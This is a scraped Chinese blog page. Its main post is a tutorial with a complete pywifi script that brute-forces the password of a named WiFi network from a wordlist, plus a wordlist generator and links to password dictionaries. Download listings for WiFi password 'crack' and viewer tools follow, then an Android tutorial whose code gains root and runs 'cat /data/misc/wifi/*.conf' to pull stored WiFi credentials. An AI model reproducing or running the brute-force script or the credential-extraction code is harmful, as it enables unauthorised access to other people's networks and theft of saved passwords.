-
2019-04-16 20:41:02
事先声明:
pywifi只能用来练手,因为其破解速度太慢,实际使用价值不大。
pywifi的安装
pywifi是一个专门用来破解wifi密码的第三方库,可以在PyPI上面直接搜到 pywifi网页链接
从网页上也可以看到,pywifi的安装非常简单。我使用的python是3.7.1,通过:pip install pywifi
就可以装上去。
但是,仅仅装上pywifi,这个库还是不能用,还得再装一个叫 comtypes库pip install comtypes
然后就一切正常了。
pywifi破解wifi原理
pywifi破解密码是一种暴力破解的方式,原理就是操纵网卡,一个一个的试密码本上的密码,直到密码正确,这时电脑也会连上这个wifi。
详细脚本
import pywifi from pywifi import const # 引入一个常量 import time def wifiConnect(wifiname,wifipassword): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect()# 断开连接 time.sleep(0.5) if ifaces.status() == const.IFACE_DISCONNECTED: profile = pywifi.Profile()# 创建WiFi连接文件 profile.ssid = wifiname# WiFi的ssid,即wifi的名称 profile.key = wifipassword# WiFi密码 profile.akm.append(const.AKM_TYPE_WPA2PSK)# WiFi的加密类型,现在一般的wifi都是wpa2psk profile.auth = const.AUTH_ALG_OPEN # 开放网卡 profile.cipher = const.CIPHER_TYPE_CCMP# 加密单元 ifaces.remove_all_network_profiles()# 删除所有的WiFi文件 tep_profile = ifaces.add_network_profile(profile)# 设定新的连接文件 ifaces.connect(tep_profile) # 连接WiFi time.sleep(1.5) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False def main(): print('开始破解:') file = open('D:/wifikey/wifikey.txt','r')#打开密码本 wifi_name=input('请输入所要破解的wifi的名字(请务必注意大小写):') while True: wifipwd = file.readline() try: bool = wifiConnect(wifi_name,wifipwd) if bool: print('正确密码为:'+wifipwd) fo=open('D:/wifikey/%s.txt'%wifi_name,'w') fo.write('该wifi的密码为:') fo.write(wifipwd) fo.close() break else: print('本次尝试的密码为:%s,状态:密码错误'%wifipwd) except: continue file.close() if __name__=='__main__': main()
脚本解释
脚本就是对密码本中的密码,一个一个的尝试,如果密码正确,那么就建一个名字为wifi名字的文件,并把正确的密码记录在里面。
密码本的获取:
密码本可以选择自己建。使用的是itertools这个包。import itertools as its words_num = "1234567890" words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" r = its.product(words_num, repeat=8)#以建8位纯数字密码本为例: fo = open("8位密码本.txt", "w") for i in r: fo.write("".join(i)) fo.write("".join("\n")) fo.close()
建密码本非常费时间,也可以直接下载已经建好的密码本
这是我从别处找到的超级密码本
里面有各种最常用密码,号称破解几率为40%:
链接: https://pan.baidu.com/s/1W1R-PtbbxdzFrSiL4XNsPw 提取码: vm9b
以及所有可能的密码构成的超级密码本:
链接: https://pan.baidu.com/s/1W0oX_O8zNZP6w4R3gPRHIA 提取码: 4mc6
wifi的密码长度为8到16位,记得先把里面长度不符合要求的密码先过滤掉。分析
从脚本来看,尝试一个密码就需要2s,即便是把8位纯数字的密码尝试一遍,那么需要的时间t为:
t = 1 0 8 ∗ 2 / ( 60 ∗ 60 ∗ 24 ) = 2314.8 天 t= 10^{8}*2/(60*60*24)=2314.8 天 t=108∗2/(60∗60∗24)=2314.8天
这还只是8位的纯数字密码。
所以,想要通过pywifi破解密码根本就不可能。当然,可以通过多线程之类的缩短时间。
但是,如果你不幸忘记了某个wifi的密码,但是你知道他有可能是几个或者几十个密码中的一个,那么就可以通过脚本来把密码找出来。
(其实吧,直接把wifi reset或许更快。。)
真的想破解wifi密码,还是装虚拟机靠谱。更多相关内容 -
WiFi Password Show Pro 1.5.1.apk
2019-04-11 17:25:00✔为什么WiFi Password Show Pro仅适用于root设备? 因为当您连接到新的WiFi网络时,您的设备会存储WiFi密码。除非您拥有超级用户权限,否则您无法访问密码并检索密码。在此处查看有关root的更多信息:... -
WiFi Password Recovery:一个免费的工具来恢复无线网络的密码-开源
2021-05-30 07:24:45* GitHub 存储库:https://github.com/EvolSoft/WiFi-Password-恢复 *注意:在 Windows XP 上,使用 WPA 安全的 WiFi 网络密码将显示为 64 位十六进制数字。 无论如何,您都可以使用这些字符作为密码来连接到无线... -
WiFi Password Viewer Pro 1.5.apk
2019-04-11 17:26:27注意:不需要root就可以使应用程序显示WiFi密码,因为它必须在没有管理员权限的情况下读取位于无法访问的位置的文件(/data/misc/wpa_supplicant.conf)。 WiFi密码查看器有: 英语 意大利语 什么是新 修复崩溃 ... -
WiFi Password Revealer v1.0.0.6 中文绿色便携版
2018-04-17 22:06:50用于查看本地WiFi密码,防止WiFi密码丢失,查找已经连接过得WiFi密码 -
WifiPassword:Wifi密码查看器
2021-04-28 15:08:47WifiPassword Wifi密码查看器 WiFi密码查看器 配合 WiFi万能钥匙 太爽了。 之前在小米市场下载了一个,后来更新了就不能用了。 干脆自己做一个,省的别人的App做什么手脚。 参考了网上的一些例子,做法都大同小异。 -
WiFi password revealer v1.0.0.7.zip
2019-07-15 04:38:32目前WiFi password revealer完美支持 Windows XP, Vista, Windows 7及 Windows 8 (2-bit and 64-bit)系统,本站提供的安装包为官方最新版中文版,免费下载使用,无插件。 WiFi password revealer使用说明: 1、WiFi... -
wifi密码查看器Wifi Password
2013-12-17 18:14:05wifi密码查看器Wifi Password,注意这个是安卓用的,配合手机万能密钥,这个可以把连接过的WIFI密码显示出来,下面怎么利用你懂得!注意需要ROOT权限,没有ROOT的就别下载了!没用 -
WiFi密码恢复(WiFi Password Decryptor) v3.5.zip
2019-07-16 10:06:53WiFi密码恢复(WiFi Password Decryptor)功能特点: 1、恢复存储的无线帐户密码。 2、支持WEP/WPA/WPA2。 3、直观的操作界面。 4、HTML或文本文件中保存密码。是一款非常实用Wifi密码恢复软件,它可以用来检索存储... -
WiFi Password Revealer 无线密码查看
2018-12-20 19:30:07WiFi Password Revealer 是一款免费的无线密码查看工具。它将显示所有已保存的WiFi 密码。如果您忘记或丢失密码到您的无线网络-此工具可以帮你找回。 -
Android代码-Wifi Password (Root)
2019-08-06 08:12:20Wifi Password: Stored (ROOT) ROOT ACCES REQUIRED View saved wi-fi passwords and share them with whom you want. Password setup function is provided in the application for security. Hope the app will be... -
wifi-password-得到当前无线网络wifi密码
2019-08-10 02:48:47wifi-password - 得到当前无线网络wifi密码 -
WiFi Password Revealer绿色中文版.rar
2019-09-03 12:09:29这个工具能够显示本机所有已经保存的无线WIFI密码,就是查看本地已保存的无线密码的,而并不是查看所有的无线密码,也不能破解别人加密的无线信号。如果你忘记了或丢失了你的无线网络密码,这个小工具可以帮助你,... -
linux-wifipassword用于获取MacLinux和Windows的wifi密码的命令行工具
2019-08-13 13:03:24wifi-password:用于获取Mac,Linux和Windows的wifi密码的命令行工具 -
WiFi Password Revealer
2013-08-12 00:00:35讓你檢視你所使用的 WiFi 網路密碼,如果你忘記 WiFi 的密碼,可以用這個工具找回來。這個軟體並非 WiFi 網路密碼破解,下載前請確認你的需求。 -
wifi-password.zip
2021-07-19 10:52:44WiFi密码共享,完整脚本 -
WiFi Password Decryptor 2.5 绿色版_wifi密码破解
2014-05-18 17:31:09WiFi Password Decryptor 2.5 绿色版_wifi密码破解 -
psp wifi password crack
2010-05-17 22:27:39psp wifi password crack -
wifi-password:快速获取您的WiFi密码,并在需要时生成WiFi的QR码,以便手机轻松连接
2021-02-03 10:18:56$ python3 -m pip install --user wifi-password 使用git安装 $ git clone https://github.com/sdushantha/wifi-password $ cd wifi-password $ python3 setup.py install 使用安装 $ sudo pamac build wifi-... -
WIFIPR+中文汉化免安装_WiFi破解工具
2017-06-15 20:39:42WiFi密码破解工具,WIFIPR中文汉化免安装版;目前最快打跑字典工具! -
wifi-password-master.zip
2021-03-11 10:46:20电脑设备当前连接的wifi生成二维码 -
WiFipasswordrevealer(本地WiFi密码查看器)v1.0.0.7多国语言中文免费安装版
2019-07-25 02:52:29WiFi password revealer是一个小巧免费的本地WiFi密码查看器,能够查看本...目前WiFi password revealer完美支持 Windows XP, Vista, Windows 7及 Windows 8 (2-bit and 64-bit)系统,本站提供的安装包为官方最新版中文 -
wifi-password-ip-detector
2021-05-13 21:56:31ngGet password of the wifi you're connected, and your current ip address, supports linux, macos, windows.☤ QuickstartGet your ip address:$ ng ip`local_ip:192.168.1.114public_ip:49.4.160.250`Get wifi ...ng
Get password of the wifi you're connected, and your current ip address, supports linux, macos, windows.
☤ Quickstart
Get your ip address:
$ ng ip
`
local_ip:192.168.1.114
public_ip:49.4.160.250
`
Get wifi password:
$ ng wp
$ ng wp flyfish_5g
`
flyfish_5g:hitflyfish123456
`
☤ Installation
You can install "ng" via pip from PyPI:
$ pip install ng
☤ Usage
$ ng --help
Usage: ng [OPTIONS] COMMAND [ARGS]...
Get password of the wifi you're connected, and your current ip address.
Options:
--help Show this message and exit.
Commands:
ip Show ip address.
wp Show wifi password.
-
wifi-password 可用来获取电脑 WiFi 密码的一个脚本.zip
2019-09-24 06:00:07wifi-password 可用来获取电脑 WiFi 密码的一个脚本.zip,Get the password of the wifi you're on (bash) -
wifi_password.py
2020-08-17 15:01:30WiFi密码本自动生成,可以修改生成密码的位数,也可自己添加生成的密码是否带特殊符号,默认只生成数字加字符形式的密码,8-11位 -
Android 如何查看Wifi密码
2021-05-28 08:44:39办法一般有两种,一种是通过查看wifi的配置文件,一种是使用命令。对于第一种,网上已经有很多了,大致就是先root,然后使用一些手机助手或者手机文件查看之类的工具(如ES、Root Exploere等)来查看wifi配置文件(位置...Android 如何查看Wifi密码
前言:
在Android手机中,连接了Wifi之后,密码一般就看不到了,那有没有什么办法可以查看到这些密码呢?办法一般有两种,一种是通过查看wifi的配置文件,一种是使用命令。对于第一种,网上已经有很多了,大致就是先root,然后使用一些手机助手或者手机文件查看之类的工具(如ES、Root Exploere等)来查看wifi配置文件(位置是进入data/misc/wifi,目录里有个wpa_supplicant.conf或者其他文件名以.conf结尾的文件)。
但是用这一种方法,有时会遇到一些问题,比如当手机的root不够彻底时,会引发遇想不到的问题。比如小米手机,当我们使用root工具去root后,看似root成功了,却会引起一些问题,比如授权出问题了、wifi不可用了、手机无法连接到电脑了等。
那如果不用这种方式,还有什么方式呢?这就是今天的主题,
查看wifi密码的第二种方式:命令。
先来看看效果图:
从图中,我们可以看到,通过依次输入命令后,拿到了wifi的用户名(test)和密码(12345)。现在来看这几个命令。
1、adb connect 192.168.1.6。这是使用adb来连接手机。如果adb没有配置到环境变量中,请先定位到adb所在的目录,然后执行该命令或者将其所在目录加入环境变量中。
2、adb shell。这是启动手机的命令终端。
3、cat /data/misc/wifi/*.conf。获取/data/misc/wifi文件夹下所有conf文件后缀的信息。
那在代码上要如何去实现呢?下面是实现的代码。
WifiManage.Java
package com.example.wifipassword;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class WifiManage {
public List Read() throws Exception {
List wifiInfos=new ArrayList();
Process process = null;
DataOutputStream dataOutputStream = null;
DataInputStream dataInputStream = null;
StringBuffer wifiConf = new StringBuffer();
try {
process = Runtime.getRuntime().exec("su");
dataOutputStream = new DataOutputStream(process.getOutputStream());
dataInputStream = new DataInputStream(process.getInputStream());
dataOutputStream
.writeBytes("cat /data/misc/wifi/*.conf\n");
dataOutputStream.writeBytes("exit\n");
dataOutputStream.flush();
InputStreamReader inputStreamReader = new InputStreamReader(
dataInputStream, "UTF-8");
BufferedReader bufferedReader = new BufferedReader(
inputStreamReader);
String line = null;
while ((line = bufferedReader.readLine()) != null) {
wifiConf.append(line);
}
bufferedReader.close();
inputStreamReader.close();
process.waitFor();
} catch (Exception e) {
throw e;
} finally {
try {
if (dataOutputStream != null) {
dataOutputStream.close();
}
if (dataInputStream != null) {
dataInputStream.close();
}
process.destroy();
} catch (Exception e) {
throw e;
}
}
Pattern network = Pattern.compile("network=\\{([^\\}]+)\\}", Pattern.DOTALL);
Matcher networkMatcher = network.matcher(wifiConf.toString() );
while (networkMatcher.find() ) {
String networkBlock = networkMatcher.group();
Pattern ssid = Pattern.compile("ssid=\"([^\"]+)\"");
Matcher ssidMatcher = ssid.matcher(networkBlock);
if (ssidMatcher.find() ) {
WifiInfo wifiInfo=new WifiInfo();
wifiInfo.Ssid=ssidMatcher.group(1);
Pattern psk = Pattern.compile("psk=\"([^\"]+)\"");
Matcher pskMatcher = psk.matcher(networkBlock);
if (pskMatcher.find() ) {
wifiInfo.Password=pskMatcher.group(1);
} else {
wifiInfo.Password="无密码";
}
wifiInfos.add(wifiInfo);
}
}
return wifiInfos;
}
}
WifiInfo.java
package com.example.wifipassword;
public class WifiInfo {
public String Ssid="";
public String Password="";
}
注:
1、通过Runtime.getRuntime().exec("su")获取root权限。
2、通过process.getOutputStream()和process.getInputStream()获取终端的输入流和输出流。
3、通过dataOutputStream.writeBytes("cat /data/misc/wifi/*.conf\n")往终端中输入命令。注意,这里必须要有\n作为换行,否则会与后一个exit命令作为一个命令,最终导致命令执行失败,无法得到结果。
4、通过dataInputStream获取命令执行结果,并以UTF-8的编码转换成字符串。
5、使用正则表达式过滤出wifi的用户名和密码。
附上显示密码的代码:
package com.example.wifipassword;
import java.util.List;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ListView;
import android.widget.TextView;
public class MainActivity extends Activity {
private WifiManage wifiManage;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
wifiManage = new WifiManage();
try {
Init();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public void Init() throws Exception {
List wifiInfos = wifiManage.Read();
ListView wifiInfosView=(ListView)findViewById(R.id.WifiInfosView);
WifiAdapter ad = new WifiAdapter(wifiInfos,MainActivity.this);
wifiInfosView.setAdapter(ad);
}
public class WifiAdapter extends BaseAdapter{
List wifiInfos =null;
Context con;
public WifiAdapter(List wifiInfos,Context con){
this.wifiInfos =wifiInfos;
this.con = con;
}
@Override
public int getCount() {
// TODO Auto-generated method stub
return wifiInfos.size();
}
@Override
public Object getItem(int position) {
// TODO Auto-generated method stub
return wifiInfos.get(position);
}
@Override
public long getItemId(int position) {
// TODO Auto-generated method stub
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
// TODO Auto-generated method stub
convertView = LayoutInflater.from(con).inflate(android.R.layout.simple_list_item_1, null);
TextView tv = (TextView)convertView.findViewById(android.R.id.text1);
tv.setText("Wifi:"+wifiInfos.get(position).Ssid+"\n密码:"+wifiInfos.get(position).Password);
return convertView;
}
}
}
最终效果图:
感谢阅读,希望能帮助到大家,谢谢大家对本站的支持!
-
wifi_password:快速获取WIFI密码。 受https:github.comsdushanthawifi-password启发
2021-02-15 04:32:04wifi_password:快速获取WIFI密码。 受https:github.comsdushanthawifi-password启发 -
wifi_password_viewer
2021-02-21 12:20:24Wifi密码查看器 查看和共享您的wifi密码。 -
wifi -PASSWORD
2014-01-21 13:06:05网络WIFI查看器,WAP2 -
macOS wifi 密码 查看
2018-12-18 21:51:54macOS 在终端查看wifi密码1,系统版本2,terminal查看wifi密码 1,系统版本 $ sw_vers ProductName: Mac OS X ProductVersion: 10.13.6 BuildVersion: 17G65 ...# security find-generic-password -ga ...